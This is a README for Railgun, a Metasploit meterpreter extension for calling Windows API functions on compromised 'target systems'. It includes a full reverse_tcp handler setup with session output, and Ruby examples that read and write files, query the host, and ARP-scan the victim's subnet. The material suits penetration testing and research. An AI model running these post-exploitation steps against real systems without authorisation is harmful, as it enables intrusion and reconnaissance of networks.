Railgun

(turn Ruby into a weapon)

A meterpreter extension to use the Windows API on meterpreter-controlled systems.

Installing the extension

Extract the ZIP file with paths into the directory that contains the file "README".

On Linux, this is probably `/opt/metasploit/msf3`

On Windows, this is probably `c:\Program Files\Metasploit\Framework3\msf3`

Getting started

Establish a meterpreter session with a target system[1]:

```
> use exploit/multi/handler
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST 192.168.0.3
> set LPORT 4321
> exploit
[*] Started reverse handler on 192.168.0.3:4321
[*] Starting the payload handler...
[*] Sending stage (748032 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4321 -> 192.168.0.3:35462) at
2010-06-12 08:29:51 +0100
```

Load the extension:

```
>> client.core.use("railgun")
=> true
```

Drop into an interactive Ruby session:

```
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
```

[1] If you don't know how to do this, please familiarize yourself with meterpreter first. Google for "meterpreter tutorial" and you will find some cool videos that should get you started quickly. Having a meterpreter session is way better than having just a shell!

Now you can call functions on the target system:

```
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
```

A message box should pop up on the target system. After you click away the message box (and were quick enough so the connection didn't time out) you get this:

```
=> {"GetLastError"=>0, "return"=>1}
```

And immediately for a more complicated example:

```
>> k32 = client.railgun.kernel32

>> k32.CreateFileA("test.txt", "GENERIC_READ", "FILE_SHARE_READ",
nil, "OPEN_EXISTING", 0, 0)
=> {"GetLastError"=>0,  "return"=>448}

>> k32.ReadFile(448,10,10,4,nil)
=> {"GetLastError"=>0,  "return"=>true,  "lpBuffer"=>"blablablab",
"lpNumberOfBytesRead"=>10}

>> k32.CloseHandle(448)
=> {"GetLastError"=>0,  "return"=>true}
```

Some points worth noting:

- The syntax is **client . railgun . {DLL-Name} . {FunctionName} ({Parameters})**
- Railgun always returns a hash to you. It will contain the return value of the function ("return"), the Windows Error code ("GetLastError") and any "out" parameters the function might have had.
- You can use Windows constants instead of numbers. You have to pass them as strings ("GENERIC_READ"). You can or-combine several of them together ("GENERIC_READ | GENERIC_WRITE")
- If you want to pass a NULL pointer, pass **nil**. If you want to pass an empty buffer of size 123, pass 123.
- If you want to pass a pointer to the DWORD value 13, pass 13.
- You can find documentation on Windows API functions on MSDN (e.g. http://msdn.microsoft.com/en-us/library/ms645505%28VS.85%29.aspx).
- Most Windows functions that work with strings have a Version for regular strings (MessageBox**A**) and one for Unicode strings (MessageBox**W**). You will probably want to use the regular versions, so don't forget the "A" at the end.

Defining your own functions

Our definitions of the functions are in "msf3\lib\rex\post\meterpreter\extensions\railgun\api.rb". They should serve as examples. Many definitions will be wrong. Please mail me your corrections.

Here is how you define a new DLL:

```
client.railgun.add_dll('user32')
```

or:

```
client.railgun.add_dll('smartcard','c:\\program
files\\smartcard\\smrtcrd7823.dll')
```

And to define a function:

```
railgun.add_function( 'kernel32', 'ReadFile', 'BOOL',[
 ["DWORD","hFile","in"],
 ["PBLOB","lpBuffer","out"],
 ["DWORD","nNumberOfBytesToRead","in"],
 ["PDWORD","lpNumberOfBytesRead","out"],
 ["PBLOB","lpOverlapped","inout"],
])
```

Data types

Data types are heavily simplified but should be enough for all practical purposes.

DWORD

We will define any argument that vaguely resembles a DWORD as DWORD. DWORDs should be passed as Ruby Fixnum or Bignum:

```
client.railgun.kernel32.Beep(400,1000)
client.railgun.kernel32.Sleep(100)

client.railgun.kernel32.CreateFileA("newFile.txt","GENERIC_WRITE",0,
nil,"CREATE_ALWAYS",0,0)
=> {"GetLastError"=>0, "return"=>472}
```

Railgun knows a lot of Windows constants, and you can pass string representations of these constants instead of the numerical value:

```
client.railgun.kernel32.CreateFileA("newFile.txt","GENERIC_WRITE",0,
nil,"CREATE_ALWAYS",0,0)
```

You can or-combine several constants:

```
client.railgun.kernel32.CreateFileA("newFile.txt","GENERIC_READ |
GENERIC_WRITE",0,nil,"CREATE_ALWAYS",0,0)

k32.SetThreadExecutionState('ES_CONTINUOUS | ES_SYSTEM_REQUIRED')
```

The list of constants is at "rex/post/meterpreter/extensions/railgun/api_constants.rb". Please mail me any suggestions or corrections.

BYTE, WORD

Your Ruby Fixnum will be truncated (modulus 256 or 65536 respectively) to fit this data type.

BOOL

We use the Ruby values **true** and **false**:

```
>> client.railgun.kernel32.IsDebuggerPresent()
=> {"GetLastError"=>0, "return"=>false}
```

PDWORD

Pointer to DWORD. The Fixnum you pass to the function is the **content** of the DWORD:

```
client.railgun.kernel32.WriteFile(472,"This is what I want to
write",28,4,nil)
=> {"GetLastError"=>0, "return"=>true, "lpNumberOfBytesWritten"=>28}
```

Most functions that take a PDWORD parameter write to the DWORD pointed to. In that case the DWORD will be returned in the result hash. For an out-only DWORD please pass 4, the size of a DWORD:

```
>> client.railgun.kernel32.ReadFile(448,10,10,4,nil)
=> {"GetLastError"=>0,  "return"=>true,  "lpBuffer"=>"blablablab",
"lpNumberOfBytesRead"=>10}
```

if you want to pass a NULL pointer instead of a pointer to a DWORD, please pass "nil".

PCHAR and PWCHAR

Both data types will be converted to and from Ruby Strings transparently:

```
Client.dll.user32.MessageBoxA(0,”Hello”,” World!”,"MB_OK");
Client.dll.user32.MessageBoxW(0,”Hello”,” World!”, "MB_OK");
```

String-buffers that are out-only are described by a Fixnum describing the buffer size (including the null-char):

```
>> client.railgun.kernel32.GetComputerNameA(260,260)
=> {"GetLastError"=>203, "return"=>true, "lpBuffer"=>"USER-PC",
"nSize"=>7}
```

You probably want to use the ASCII-Functions (e.g. GetComputerNameA). Railgun does fully support UNICODE and returns strings encoded "UTF16le", but dealing with Unicode in Ruby is a PITA. So be warned:

```
client.railgun.kernel32.GetComputerNameW(260,260)=>
{"GetLastError"=>203, "return"=>true,
"lpBuffer"=>"U\x00S\x00E\x00R\x00-\x00P\x00C\x00", "nSize"=>7}
```

PBLOB

Pointers to anything other than strings and DWORDS will be seen as PBLOB. You access them as Ruby strings. Currently Railgun will not help you create or parse Windows structures. You will probably have to use pack() and unpack().

```
>> client.railgun.kernel32.InitializeCriticalSection(24)

=> {"GetLastError"=>0, "return"=>nil,
"lpCriticalSection"=>"\xB8\xBC)\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}



>>client.railgun.kernel32.DeleteCriticalSection("=>"\xB8\xBC)\x00\xF
F\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00")

=> {"GetLastError"=>0, "return"=>nil,
"lpCriticalSection"=>"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}
```

Calling conventions

Railgun will adapt automatically, so you can ignore whether functions are **__stdcall** or **__cdecl**.

Constants

Windows constants can be directly accessed with `railgun.const("WINDOWS_CONSTANT")`.

```
h = client.railgun.kernel32.CreateFileW("test.txt","GENERIC_READ",
    0,nil,"OPEN_EXISTING",0,0)

if h["GetLastError"] == client.railgun.const("ERROR_FILE_NOT_FOUND")
```

Example: ARP-Scanning a class C subnet

```
# do an ARP scan of a class C net
rail = client.railgun
ws = client.railgun.ws2_32
iphlp = client.railgun.iphlpapi

for octet4 in (1..254)
     addr_text = "192.168.0.%d" % octet4
     h = ws.inet_addr(addr_text)

     ip = h["return"]
     h = iphlp.SendARP(ip,0,6,6)
     if h["return"] == rail.const("NO_ERROR")
          mac = h["pMacAddr"]
          printf("IP: %s, MAC: %02X:%02X:%02X:%02X:%02X:%02X",
               addr_text,
               mac[0].ord,
               mac[1].ord,
               mac[2].ord,
               mac[3].ord,
               mac[4].ord,
               mac[5].ord)
     end
end
```

Contact

Please contact me with all the bugs you find.

patrickHVE@googlemail.com